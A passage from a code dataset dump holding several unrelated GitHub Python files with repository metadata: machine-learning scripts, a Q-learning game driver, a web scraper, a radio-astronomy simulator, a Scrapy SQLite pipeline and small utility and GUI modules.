\r\n","repo_name":"BenjaminB31/Date-de-peremption","sub_path":"est_perime_15j.py","file_name":"est_perime_15j.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25204670122","text":"from collections import namedtuple\n\nTable = namedtuple('Table', ['checksum', 'offset', 'length'])\nBBox = namedtuple('BBox', ['xmin', 'xmax', 'ymin', 'ymax'])\nAdvanceWidth = namedtuple('AdvanceWidth', ['width', 'leftsidebearing'])\nHeader = namedtuple(\n 'Header', ['version', 'revision', 'checksumadjust', 'magic', 'flags',\n 'created', 'modified', 'macstyle', 'lowestrecppem',\n 'directionhint', 'indextolocformat', 'glyphdataformat', 'numlonghormetrics'])\nLayout = namedtuple(\n 'Layout', ['unitsperem', 'xmin', 'xmax', 'ymin', 'ymax',\n 'ascent', 'descent', 'advwidthmax',\n 'minleftbearing', 'minrightbearing'])\nFontInfo = namedtuple(\n 'FontInfo', ['name', 'header', 'layout', 'advwidths'])\n\nGlyphPath = namedtuple('GlyphPath', ['xvals', 'yvals', 'ctvals', 'ends', 'bbox', ])####'advwidth'])\nGlyphComp = namedtuple('GlyphComp', ['glyphs', 'xforms', 'bbox'])\nXform = namedtuple('Xform', ['a', 'b', 'c', 'd', 'e', 'f', 'match'])\n","repo_name":"xmarduel/pycut","sub_path":"utilities/svgtext2svgpaths/ziafont/fonttypes.py","file_name":"fonttypes.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"31215988915","text":"from __future__ import print_function\n\nimport tensorflow as tf\nimport math\nimport numpy as np\nimport csv\n\nfrom model import myNeuralNet\n\n# x denotes features, y denotes labels\nxtrain = np.load('data/mnist/xtrain.npy')\nytrain = np.load('data/mnist/ytrain.npy')\n\nxval = np.load('data/mnist/xval.npy')\nyval = np.load('data/mnist/yval.npy')\n\nxtest = np.load('data/mnist/xtest.npy')\n\ndim_input = 784\ndim_output = 10\n\nmax_epochs = 10\nlearn_rate = 1e-4\nbatch_size = 50\n\ntrain_size = len(xtrain)\nvalid_size = len(xval)\ntest_size = len(xtest)\n#print(train_size)\n\ntotal_images = []\ntotal_labels = []\n\n# Create Computation Graph\nnn_instance = myNeuralNet(dim_input, dim_output)\nnn_instance.addHiddenLayer(1000, 1, tf.nn.relu)\nnn_instance.addHiddenLayer(1000, 2, tf.nn.relu)\nnn_instance.addHiddenLayer(1000, 3, tf.nn.relu)\n# add more hidden layers here by calling addHiddenLayer as much as you want\n# a net of depth 3 should be sufficient for most tasks\nnn_instance.addFinalLayer()\nnn_instance.setup_training(learn_rate)\nnn_instance.setup_metrics()\n\n# Training steps\nwith tf.Session() as sess:\n\tsess.run(tf.global_variables_initializer())\n\ttest_pred = nn_instance.train(sess, max_epochs, batch_size, train_size, xtrain, ytrain, xval, yval, xtest) # fill in other arguments as you modify the train(self, sess, ...) in model.py\n\ttest_pred= np.array(test_pred)\n\tnp.savetxt(\"predict.csv\", test_pred, fmt='%d')\n\tprint(test_pred)\n\tprint(\"Output saved in the file\")","repo_name":"jkSwapnil/CS419-assignments","sub_path":"CS419_assignment3/train_mnist.py","file_name":"train_mnist.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10699829664","text":"from RL import ReinforcementLearning\nfrom QAgent import QLearningAgent\n\n\ndef trainingModel(gamma : float, lr : float, epsilon : float, decay : float, episodes : int) -> None:\n '''\n Description:\n Training Model for QLearning Agent. This function begins with random policy\n Uses QLearning to train our agent over number of episodes to come up with\n the best possible policy.\n\n Parameters:\n - gamma: float rate of gamma hyperparameter\n - lr: float learning rate, hyperparameter\n - epsilon: float Initial rate of epsilon for epsilon greedy\n - decay: float decay rate for epsilon\n - episodes: integer number of episodes for training\n\n Returns:\n None\n '''\n agent = QLearningAgent(0, gamma, lr, epsilon)\n Qlearn = ReinforcementLearning(episodes, epsilon, decay,lr, gamma, agent)\n Qlearn.teachAgent()\n\n\ndef testingModel(gamma : float, lr : float, epsilon : float, decay : float, episodes : int) -> None:\n '''\n Description:\n Testing Model to test the effectiveness of the policy learned by our agent by making it play\n against Human.\n\n Parameters:\n - gamma: float rate of gamma hyperparameter\n - lr: float learning rate, hyperparameter\n - epsilon: float Initial rate of epsilon for epsilon greedy\n - decay: float decay rate for epsilon\n - episodes: integer number of episodes for training\n\n Returns:\n None\n '''\n agent = QLearningAgent(0, gamma, lr, epsilon, False)\n Qlearn = ReinforcementLearning(episodes, epsilon, decay,lr, gamma, agent)\n Qlearn.play_against_human()\n\ndef main() -> None:\n '''\n Description:\n Main function to call in order to run the entire project.\n\n Parameters:\n\n Returns:\n None\n '''\n\n learning_rate = 0.3\n gamma = 0.7\n epsilon = 0.1\n epsilon_decay_rate = 0.1\n episodes = 10000\n # for i in range(len(learning_rate)):\n trainingModel(gamma, learning_rate, epsilon, epsilon_decay_rate, episodes) \n # testingModel(gamma, learning_rate, epsilon, epsilon_decay_rate, episodes)\n\n\nif __name__ == '__main__':\n main()","repo_name":"ronit450/AI-vs-Human-Ludo-Player-using-Q-learning","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71518335947","text":"import matplotlib\nmatplotlib.use(\"TkAgg\")\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nfrom sklearn.utils import shuffle\nimport time,csv\nfrom defLeNet5_quant import *\nfrom tensorflow.contrib.layers import flatten\n\ndef quantParam(): #pass saved n/w * suffix\n paramDict = {}\n minMaxDict = {}\n suffix = [\"conv\",\"_w:0\"]\n with tf.Session() as sess:\n saver = tf.train.import_meta_graph('./LenetParam.meta')\n saver.restore(sess,'./LenetParam')\n conv_wts = [v.name for v in tf.trainable_variables() if (v.name.startswith(suffix[0]) & v.name.endswith(suffix[1]))]\n lay_name = [v.name for v in tf.trainable_variables() if (v.name.endswith(\"_w:0\") | v.name.endswith(\"_b:0\"))]\n for v in lay_name:\n curLay = [a for a in tf.trainable_variables() if (a.name==v)]\n curWt = curLay[0].eval()\n if v in conv_wts:\n quantWt = tf.quantize_v2(curWt,tf.reduce_min(curWt),tf.reduce_max(curWt),tf.qint16,\n mode=\"MIN_FIRST\",name=\"quant32to16\")\n chk = sess.run(quantWt)\n paramDict.update({v:chk.output})\n minMaxDict.update({v:[chk.output_min,chk.output_max]})\n else:\n chk = curWt\n paramDict.update({v:chk})\n print(paramDict.keys())\n print(minMaxDict.keys())\n return paramDict, minMaxDict\n\ndef forwardInf(x,paramDict,minMaxDict,dPrec,dRange):\n xQuant = tf.quantize_v2(x,tf.reduce_min(x),tf.reduce_max(x),dPrec,mode=\"MIN_FIRST\",name=\"xQuant\")\n conv1_b = tf.constant(paramDict['conv1_b:0'],name=\"conv1_b\",dtype=tf.float32) #no fn to add qint16\n conv1_w = tf.constant(paramDict['conv1_w:0'],name=\"conv1_w\",dtype=dPrec)\n conv1 = tf.nn.quantized_conv2d(xQuant.output, conv1_w, xQuant.output_min, xQuant.output_max,minMaxDict['conv1_w:0'][0],\n minMaxDict['conv1_w:0'][1],strides=[1, 1, 1, 1], padding='VALID',out_type=tf.qint32,name=\"conv1\") \n conv1DQ = tf.dequantize(conv1.output,conv1.min_output,conv1.max_output,mode=\"MIN_FIRST\",name=\"conv1DQ\")\n act1 = conv1DQ + conv1_b\n valCorr0 = tf.reduce_max(act1)\n act1Q = tf.quantize_v2(act1,tf.reduce_min(act1),tf.reduce_max(act1),dPrec,mode=\"MIN_FIRST\",name=\"act1Q\")\n reluOP1 = tf.nn.quantized_relu_x(act1Q.output, valCorr0,conv1.min_output,conv1.max_output,dPrec,name=\"reluOP1\")\n pool1 = tf.nn.quantized_max_pool(reluOP1.activations,reluOP1.min_activations,reluOP1.max_activations, ksize=[1, 2, 2, 1], \n strides=[1, 2, 2, 1],padding='VALID',name=\"pool1\")\n\n conv2_b = tf.constant(paramDict['conv2_b:0'], name = \"conv2_b\", dtype=tf.float32)\n conv2_w = tf.constant(paramDict['conv2_w:0'], name = \"conv2_w\", dtype=dPrec)\n conv2 = tf.nn.quantized_conv2d(pool1.output, conv2_w, pool1.min_output, pool1.max_output, minMaxDict['conv2_w:0'][0],\n minMaxDict['conv2_w:0'][1],strides=[1, 1, 1, 1], padding='VALID',out_type=tf.qint32,name=\"conv2\")\n conv2DQ = tf.dequantize(conv2.output,conv2.min_output,conv2.max_output,mode=\"MIN_FIRST\",name=\"conv2DQ\")\n act2 = conv2DQ + conv2_b\n valCorr0 = tf.reduce_max(act2)\n act2Q = tf.quantize_v2(act2,tf.reduce_min(act2),tf.reduce_max(act2),dPrec,mode=\"MIN_FIRST\",name=\"act2Q\")\n reluOP2 = tf.nn.quantized_relu_x(act2Q.output, valCorr0,conv2.min_output,conv2.max_output,dPrec,name=\"reluOP2\")\n pool2 = tf.nn.quantized_max_pool(reluOP2.activations,reluOP2.min_activations,reluOP2.max_activations, ksize=[1, 2, 2, 1],\n strides=[1, 2, 2, 1],padding='VALID',name=\"pool2\")\n \n pool2DQ = tf.dequantize(pool2.output,pool2.min_output,pool2.max_output,mode=\"MIN_FIRST\",name=\"pool2DQ\")\n fc0 = flatten(pool2DQ)\n fc1_w = tf.constant(paramDict['fc1_w:0'], name = \"fc1_w\", dtype=tf.float32)\n fc1_b = tf.constant(paramDict['fc1_b:0'], name = \"fc1_b\", dtype=tf.float32)\n fc1 = tf.matmul(fc0, fc1_w) + fc1_b\n fc1 = tf.nn.relu(fc1)\n\n fc2_w = tf.constant(paramDict['fc2_w:0'], name = \"fc2_w\", dtype=tf.float32)\n fc2_b = tf.constant(paramDict['fc2_b:0'], name = \"fc2_b\", dtype=tf.float32)\n fc2 = tf.matmul(fc1, fc2_w) + fc2_b\n fc2 = tf.nn.relu(fc2)\n\n fc3_w = tf.constant(paramDict['fc3_w:0'], name = \"fc3_w\", dtype=tf.float32)\n fc3_b = tf.constant(paramDict['fc3_b:0'], name = \"fc3_b\", dtype=tf.float32)\n logits = tf.matmul(fc2, fc3_w) + fc3_b\n return logits\n\ndef evaluate_accuracy_loss(X_data, y_data):\n num_examples = len(X_data)\n total_accuracy = 0.0\n BATCH_SIZE = 256\n sess = tf.get_default_session()\n for offset in range(0, num_examples, BATCH_SIZE):\n batch_x, batch_y = X_data[offset:offset+BATCH_SIZE], y_data[offset:offset+BATCH_SIZE]\n accuracy = sess.run(accuracy_operation, feed_dict={x: batch_x, y: batch_y})\n total_accuracy += accuracy #(accuracy * len(batch_x))\n return (total_accuracy / num_examples)\n\nmnist = input_data.read_data_sets(\"MNIST_data/\", reshape=False)\nX_train, y_train = mnist.train.images, mnist.train.labels\nX_validation, y_validation = mnist.validation.images, mnist.validation.labels\nX_test, y_test = mnist.test.images, mnist.test.labels\nassert(len(X_train) == len(y_train))\nassert(len(X_validation) == len(y_validation))\nassert(len(X_test) == len(y_test))\nn_train = X_train.shape[0]\nn_valid = X_validation.shape[0]\nn_test = X_test.shape[0]\nn_classes = len(set(y_train))\nprint([n_train,n_test,n_classes])\n# 28 x 28 to 32 x32 images\n# Pad images with 0s\nX_train = np.pad(X_train, ((0,0),(2,2),(2,2),(0,0)), 'constant')\nX_validation = np.pad(X_validation, ((0,0),(2,2),(2,2),(0,0)), 'constant')\nX_test = np.pad(X_test, ((0,0),(2,2),(2,2),(0,0)), 'constant')\nX_train, y_train = shuffle(X_train, y_train)\n\nx = tf.placeholder(tf.float32, (None, 32, 32, 1))\ny = tf.placeholder(tf.int32, (None))\none_hot_y = tf.one_hot(y, 10)\n\ndPrec = tf.quint8\nparamDict,minMaxDict = quantParam()\nif (dPrec==tf.qint16):\n minMaxRange =[tf.int16.min,tf.int16.max]\nelif(dPrec==tf.quint8):\n minMaxRange = [tf.uint8.min,tf.uint8.max]\nprint(paramDict.keys())\nlogits= forwardInf(x,paramDict,minMaxDict,dPrec,minMaxRange)\n#logitsF32 = tf.dequantize(logitsQ16,logitsQ16[1],logitsQ16[2],mode=\"MIN_FIRST\",name=\"logitsF32\")\nscores = tf.nn.softmax(logits,name=\"scores\")\npredictions = tf.argmax(scores,1,name=\"predictions\")\ncorrect_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(one_hot_y, 1),name=\"correct_prediction\")\naccuracy_operation = tf.reduce_sum(tf.cast(correct_prediction, tf.float32),name=\"accuracy_operation\")\n\nwith tf.Session() as sess:\n with tf.device('/cpu:0'):\n test_accuracy,test_loss = evaluate_accuracy_loss(X_test,y_test)\n print(\"test accuracy, test_loss:\",[test_accuracy,test_loss])\n\n\n","repo_name":"anithapk/nn-compression","sub_path":"infQuant.py","file_name":"infQuant.py","file_ext":"py","file_size_in_byte":6765,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"82"} +{"seq_id":"4812108135","text":"import requests\nimport bs4\n\nresponse = []\n\ndef getDetail(tag, key):\n values = tag.text.strip().replace(key + \"\\n\", \"\")\n result = values.split(\"\\n\")\n #print(result)\n return result\n\n\ndef getDepartmentDetail(source_url, deptData):\n\n domain = \"http://info.sjsu.edu\"\n\n res = requests.get(source_url)\n\n soup = bs4.BeautifulSoup(res.text, 'lxml')\n\n tags = soup.select(\".info_wrapper p\")\n\n\n for tag in tags:\n\n if tag.text.strip().find(\"Office\") > -1:\n deptData[\"office\"] = getDetail(tag, \"Office\")\n\n elif tag.text.strip().find(\"Telephone\") > -1:\n deptData[\"telephone\"] = getDetail(tag, \"Telephone\")\n\n elif tag.text.strip().find(\"Email\") > -1:\n deptData[\"email\"] = getDetail(tag, \"Email\")\n\n elif tag.text.strip().find(\"WWW\") > -1:\n deptData[\"website\"] = getDetail(tag, \"WWW\")\n\n elif tag.text.strip().find(\"Associate Professors\") > -1:\n deptData[\"associateProfessors\"] = getDetail(tag, \"Associate Professors\")\n\n elif tag.text.strip().find(\"Assistant Professors\") > -1:\n deptData[\"assistantProfessors\"] = getDetail(tag, \"Assistant Professors\")\n\n elif tag.text.strip().find(\"Professors\") > -1:\n deptData[\"professors\"] = getDetail(tag, \"Professors\")\n\n elif tag.text.strip().find(\"Curricula\") > -1:\n deptData[\"curricula\"] = getDetail(tag, \"Curricula\")\n\n\n #print(deptData)\n\n\n\n","repo_name":"shauryam/WebCrawler","sub_path":"deptDetails.py","file_name":"deptDetails.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10595769618","text":"from scipy.ndimage import gaussian_filter\n\nfrom .Observation import Observation\nfrom .Beam import Beam\nfrom .BeamCouplings import BeamCouplings\n\nimport numpy as np\nimport healpy as hp\nimport fitsio\nimport sys\nimport pickle\nimport os\n\ndef mean_alm(alm1, alm2, lmax):\n prod = alm1*np.conj(alm2)\n sm = (np.real(prod[:lmax+1]).sum()+2*np.real(prod[lmax+1:]).sum())/(4*np.pi)\n return sm\n\ndef rot2eul(R):\n beta = -np.arcsin(R[2,0])\n alpha = np.arctan2(R[2,1]/np.cos(beta),R[2,2]/np.cos(beta))\n gamma = np.arctan2(R[1,0]/np.cos(beta),R[0,0]/np.cos(beta))\n return np.array((alpha, beta, gamma))\n\ndef eul2rot(theta) :\n\n R = np.array([[np.cos(theta[1])*np.cos(theta[2]), np.sin(theta[0])*np.sin(theta[1])*np.cos(theta[2]) - np.sin(theta[2])*np.cos(theta[0]), np.sin(theta[1])*np.cos(theta[0])*np.cos(theta[2]) + np.sin(theta[0])*np.sin(theta[2])],\n [np.sin(theta[2])*np.cos(theta[1]), np.sin(theta[0])*np.sin(theta[1])*np.sin(theta[2]) + np.cos(theta[0])*np.cos(theta[2]), np.sin(theta[1])*np.sin(theta[2])*np.cos(theta[0]) - np.sin(theta[0])*np.cos(theta[2])],\n [-np.sin(theta[1]), np.sin(theta[0])*np.cos(theta[1]), np.cos(theta[0])*np.cos(theta[1])]])\n\n return R\n\n\n\nclass Simulator:\n \"\"\"\n Simulator class\n \"\"\"\n\n def __init__ (self, obs, beams, sky_model, \n combinations = [(0,0),(1,1),(0,2),(1,3),(1,2)], lmax = 128,\n taper = 0.03, Tground = 200.0, freq = None,\n cross_power = None, beam_smooth = None,\n extra_opts = {}):\n self.obs = obs\n self.sky_model = sky_model\n self.lmax = lmax\n self.taper = taper\n self.Tground = Tground\n self.extra_opts = extra_opts\n self.cross_power = cross_power if (cross_power is not None) else BeamCouplings()\n self.beam_smooth = beam_smooth\n if freq is None:\n self.freq = beams[0].freq\n else:\n self.freq = freq\n \n freq_ndx_beam = []\n freq_ndx_sky = []\n for f in self.freq:\n try:\n ndx = list(beams[0].freq).index(f)\n except ValueError:\n print (\"Error:\")\n print (f\"Frequency {f} does not exist in beams.\")\n sys.exit(1)\n freq_ndx_beam.append(ndx)\n try:\n ndx = list(sky_model.freq).index(f)\n except ValueError:\n print (\"Error:\")\n print (f\"Frequency {f} does not exist in sky model.\")\n sys.exit(1)\n freq_ndx_sky.append(ndx)\n \n self.freq_ndx_beam = freq_ndx_beam\n self.freq_ndx_sky = freq_ndx_sky\n self.Nfreq = len(self.freq)\n self.prepare_beams (beams, combinations)\n self.result = None\n\n\n def prepare_beams(self,beams, combinations):\n \"\"\"\n Beam Preparation\n\n \n :param combinations: Indices for beams\n :type combinations: tuple\n\n \"\"\"\n \n self.beams = beams\n self.efbeams = []\n thetas = beams[0].theta\n #gtapr = np.zeros(len(thetas))\n gtapr = (np.arctan((thetas-np.pi/2)/self.taper)/np.pi+0.5)**2\n tapr = 1.0 - gtapr\n bomega = []\n self.combinations = [(int(i),int(j)) for i,j in combinations]\n \n for i,j in self.combinations:\n bi , bj = beams[i], beams[j]\n print (f\" intializing beam combination {bi.id} x {bj.id} ...\")\n #f_ground_i, f_ground_j = f_grounds[i], f_grounds[j]\n xP = bi.cross_power(bj)[self.freq_ndx_beam,:,:]\n norm = np.sqrt(bi.gain_conv[self.freq_ndx_beam]*bj.gain_conv[self.freq_ndx_beam])\n beam2 = xP*tapr[None,:,None]*norm[:,None,None]\n if self.beam_smooth is not None:\n print (\" smoothing beams with \",self.beam_smooth)\n beam2 = gaussian_filter(beam2,self.beam_smooth)\n\n # now need to transfrom this to healpy\n # (Note: we cut on freq_ndx above, so yes, range is fine in the line below)\n beamreal = bi.get_healpix(self.lmax, np.real(beam2), range(self.Nfreq))\n\n if i==j:\n groundPowerReal = np.array([1-np.real(br[0])/np.sqrt(4*np.pi) for br in beamreal])\n beamimag = None\n groundPowerImag = 0.\n else:\n beamimag = bi.get_healpix(self.lmax, np.imag(beam2), range(self.Nfreq))\n cross_power = self.cross_power.Ex_coupling(bi,bj,self.freq_ndx_beam)\n print (f\" cross power is {cross_power[0]} ... {cross_power[-1]} \")\n groundPowerReal = np.array([cp-np.real(br[0])/np.sqrt(4*np.pi) for br,cp in\n zip(beamreal,cross_power)])\n groundPowerImag = np.array([0-np.real(bi[0])/np.sqrt(4*np.pi) for bi in beamimag])\n if \"dump_beams\" in self.extra_opts:\n np.save(bi.id+bj.id,beamreal)\n self.efbeams.append((i,j,beamreal, beamimag, groundPowerReal,\n groundPowerImag))\n \n \n def simulate (self,times=None):\n \"\"\"\n Main simulation loop.\n\n :param times: array of times\n :type times: list\n\n \"\"\"\n if times is None:\n times = self.obs.times\n if self.sky_model.frame==\"galactic\":\n do_rot = True\n cache_fn = self.extra_opts.get(\"cache_transform\")\n if (cache_fn is not None) and (os.path.isfile(cache_fn)):\n print (f\"Loading cached transform from {cache_fn}...\")\n lzl,bzl,lyl,byl = pickle.load(open(cache_fn,'br'))\n if (len(lzl)!=len(times)):\n print (\"Cache file mix-up. Array wrong length!\")\n stop()\n have_transform = True\n else:\n have_transform = False\n \n if not have_transform:\n print (\"Getting pole transformations...\")\n lzl,bzl = self.obs.get_l_b_from_alt_az(np.pi/2,0., times)\n print (\"Getting horizon transformations...\")\n lyl,byl = self.obs.get_l_b_from_alt_az(0.,0., times) ## astronomical azimuth = 0 = N = our y coordinate\n if cache_fn is not None:\n print (f\"Saving transforms to {cache_fn}...\")\n pickle.dump((lzl,bzl,lyl,byl),open(cache_fn,'bw'))\n \n elif self.sky_model.frame==\"MCMF\":\n do_rot = False\n else:\n raise NotImplementedError\n\n wfall = []\n Nt = len (times)\n for ti, t in enumerate(times):\n if (ti%100==0):\n print (f\"{ti/Nt*100}% done ...\")\n sky = self.sky_model.get_alm (self.freq_ndx_sky, self.freq)\n if do_rot:\n lz,bz,ly,by = lzl[ti],bzl[ti],lyl[ti],byl[ti]\n zhat = np.array([np.cos(bz)*np.cos(lz), np.cos(bz)*np.sin(lz),np.sin(bz)])\n yhat = np.array([np.cos(by)*np.cos(ly), np.cos(by)*np.sin(ly),np.sin(by)])\n xhat = np.cross(yhat,zhat)\n assert(np.abs(np.dot(zhat,yhat))<1e-10)\n R = np.array([xhat,yhat,zhat]).T\n a,b,g = rot2eul(R)\n rot = hp.rotator.Rotator(rot=(g,-b,a),deg=False,eulertype='XYZ',inv=False)\n sky = [rot.rotate_alm(s_) for s_ in sky]\n res = []\n for ci,cj,beamreal, beamimag, groundPowerReal, groundPowerImag in self.efbeams:\n T = np.array([mean_alm(br_,sky_,self.lmax) for br_,sky_ in zip(beamreal,sky)])\n T += self.Tground*groundPowerReal\n res.append(T)\n if ci!=cj:\n Timag = np.array([mean_alm(bi_,sky_,self.lmax) for bi_,sky_ in zip(beamimag,sky)])\n Timag += self.Tground*groundPowerImag\n res.append(Timag)\n wfall.append(res)\n self.result = np.array(wfall)\n return self.result\n \n def write(self, out_file):\n \"\"\"\n Write out the data.\n \n :param out_file: name of the output file\n :type out_file: str\n\n \"\"\" \n if self.result is None:\n print (\"Nothing to write\")\n raise RunTimeError\n fits = fitsio.FITS(out_file,'rw',clobber=True)\n header = {\n \"version\": 0.1,\n \"lunar_day\": self.obs.lunar_day,\n \"lun_lat_deg\": self.obs.lun_lat_deg,\n \"lun_long_deg\": self.obs.lun_long_deg,\n \"lun_height_m\": self.obs.lun_height_m,\n \"deltaT_sec\": self.obs.deltaT_sec\n }\n fits.write(self.result, header=header, extname='data')\n fits.write(self.freq, extname='freq')\n fits.write(np.array(self.combinations), extname='combinations')\n for i,b in enumerate(self.beams):\n fits.write(b.ZRe[self.freq_ndx_beam],extname=f'ZRe_{i}')\n fits.write(b.ZIm[self.freq_ndx_beam],extname=f'ZIm_{i}')\n","repo_name":"lusee-night/luseepy","sub_path":"lusee/Simulation.py","file_name":"Simulation.py","file_ext":"py","file_size_in_byte":9185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8091992935","text":"# -*- coding: utf-8 -*-\n#+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n#|r|e|d|a|n|d|g|r|e|e|n|.|c|o|.|u|k|\n#+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\nimport sqlite3\nfrom itemadapter import ItemAdapter\nfrom scrapy.exceptions import DropItem\n\nclass AmzPipeline(object):\n\n def __init__(self):\n self.create_conn()\n self.create_table()\n \n def create_conn(self):\n self.conn = sqlite3.connect(\"test.db\")\n self.curr = self.conn.cursor()\n \n def create_table(self):\n self.curr.execute(\"\"\"DROP TABLE IF EXISTS books_sqlite\"\"\")\n self.curr.execute(\"\"\"create table books_sqlite (\n title text,\n author text,\n star_rating text,\n book_format text,\n price text,\n cover_image text\n )\"\"\")\n \n def process_item(self,item,spider):\n \n adapter = ItemAdapter(item)\n if adapter.get('book_format'):\n if adapter['book_format'] == 'Paperback':\n self.store_db(item)\n else:\n raise DropItem(f\"Not a paperback book {item}\")\n \n def store_db(self,item):\n myquery = \"\"\"INSERT into books_sqlite \n (title, author,star_rating,book_format,price, cover_image) \n values (?,?,?,?,?,?)\n \"\"\"\n val=(\n item.get('title'),\n item.get('author'),\n item.get('star_rating'),\n item.get('book_format'),\n item.get('price'),\n item.get('cover_image')\n )\n \n self.curr.execute(myquery, val)\n self.conn.commit()\n","repo_name":"RGGH/Scrapy10","sub_path":"pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"82"} +{"seq_id":"40405381135","text":"import random\n\n# Смысл жизни будет переосмыслён...\n#\n\nclass Bot(object):\n def __init__(self, x, y, code):\n # Предел энергии = 1000\n # Смерть <= 0\n # Возможность родить >= 750\n self.energy = 100\n self.energyMax = 1000\n self.energyGain = random.randint(1, 10)\n self.divideEnergy = 750\n self.maxDivisions = 1\n self.energyLvl = y\n self.code = code\n self.mindMove = [0, 0]\n self.isAlive = True\n\n if code == 999:\n self.energy = 250\n self.energyMax = 2000\n self.energyGain = 50\n self.divideEnergy = 1000\n self.maxDivisions = 8\n self.color = (0, 0, 0)\n\n # Мозги\n self.brain = [[0 for i in range(2)] for j in range(2)]\n\n # Персонализация\n self.color = (0, 255, 0)","repo_name":"Smilentus/AL_v4.0","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31312952566","text":"def bar():\n print(\"=\" * 20)\n\n\nclass SistemaV:\n def __init__(self):\n pass\n\n def mensagem(self, message: str):\n print(message)\n\n def capturar(self, message) -> int:\n while True:\n try:\n escolha = int(input(message))\n except ValueError:\n self.mensagem(\"Erro: A opção escolhida deve ser um número\"\n \" inteiro.\")\n else:\n break\n return escolha\n\n def menu(self) -> int:\n bar()\n print(\" ONIVERSO \")\n bar()\n opcoes = (\"1 - Criar Calendário\", \"2 - Acessar Calendário\",\n \"9 - Visualizar Calendários (Admin)\", \"0 - Sair\")\n for opcao in opcoes:\n print(opcao)\n return self.capturar(\"Selecione uma opção: \")\n","repo_name":"rlneto/T1DSO","sub_path":"Views/sistema_v.py","file_name":"sistema_v.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"21913078522","text":"# Takes in a list and the current max, which starts at the smallest negative number. \ndef max(list, currMax):\n # If the list is empty, then the max of that list is 0. \n if len(list) == 0: \n return currMax\n # If the list has only one element and it's greater than the current max, then that element is the current max. \n if len(list) == 1:\n if list[0] > currMax: \n return list[0]\n return currMax\n \n # If the list has more than one element, then max is the max between the first element in the list and the current maximum for the list. \n if list[0] > currMax:\n return max(list[1:len(list)], list[0])\n \n return max(list[1:len(list)], currMax)\n\nlist = [2, 4, 6]\nlist_two = [1, 5, 123, 1, 22, -102, 154]\nlist_three = [] \nlist_four = [-11]\nsmallest_int = sys\nmaxNumber = max(list, 0) # should return 6\nprint(maxNumber)\n\nmaxNumber = max(list_two, 0) # should return 154\nprint(maxNumber)\n\nmaxNumber = max(list_three, 0) # should return 0\nprint(maxNumber)\n\nmaxNumber = max(list_four, 0) # should return -11\nprint(maxNumber)","repo_name":"richardtvu/data-structures-algorithms","sub_path":"grokking-algos/practice-scripts/exercise_4_3_recursive_max_attempt_1.py","file_name":"exercise_4_3_recursive_max_attempt_1.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"43200390835","text":"import asmgui, editcode, copycodegui, diffgui, db\n\ndef _edit_code(code_id, rid):\n if code_id is None:\n d = db.DB()\n data = d.get_code_by_rid(rid)\n code_id = data[\"id\"]\n\n editcode.edit_code_by_code_id(code_id)\n\ndef _revise_code(code_id, rid, parent):\n if code_id is None:\n d = db.DB()\n data = d.get_code_by_rid(rid)\n code_id = data[\"id\"]\n\n copycodegui.revise_code(code_id, parent)\n\ndef _copy_code(code_id, rid, parent):\n if code_id is None:\n d = db.DB()\n data = d.get_code_by_rid(rid)\n code_id = data[\"id\"]\n\n copycodegui.copy_code(code_id, parent)\n\ndef _set_diff_from(code_id, rid, parent):\n if not rid is None:\n diffgui.set_from_by_rid(rid)\n return\n\n diffgui.set_from(code_id, parent)\n\ndef _set_diff_to(code_id, rid, parent):\n if not rid is None:\n diffgui.set_to_by_rid(rid)\n return\n\n diffgui.set_to(code_id, parent)\n\ndef _show_assembly(code_id, rid, parent):\n if code_id is None:\n d = db.DB()\n data = d.get_code_by_rid(rid)\n code_id = data[\"id\"]\n\n asmgui.show_assembly(code_id, parent)\n\ndef _show_this_assembly(code_id, date_from_days, rid):\n if code_id is None:\n d = db.DB()\n data = d.get_code_by_rid(rid)\n code_id = data[\"id\"]\n date_from_days = data[\"date_from_days\"]\n\n asmgui.show_assembly_by_date(code_id, date_from_days)\n\ndef _show_latest_assembly(code_id, rid):\n if code_id is None:\n d = db.DB()\n data = d.get_code_by_rid(rid)\n code_id = data[\"id\"]\n\n asmgui.show_latest_assembly(code_id)\n\ndef _show_proto_assembly(code_id, rid):\n if code_id is None:\n d = db.DB()\n data = d.get_code_by_rid(rid)\n code_id = data[\"id\"]\n\n asmgui.show_proto_assembly(code_id)\n\ndef _show_where_used(code_id, rid):\n if code_id is None:\n d = db.DB()\n data = d.get_code_by_rid(rid)\n code_id = data[\"id\"]\n\n asmgui.where_used(code_id)\n\ndef _show_valid_where_used(code_id, rid):\n if code_id is None:\n d = db.DB()\n data = d.get_code_by_rid(rid)\n code_id = data[\"id\"]\n\n asmgui.valid_where_used(code_id)\n\ndef _show_smart_where_used(code_id, rid):\n if code_id is None:\n d = db.DB()\n data = d.get_code_by_rid(rid)\n code_id = data[\"id\"]\n\n asmgui.smart_where_used(code_id)\n\ndef 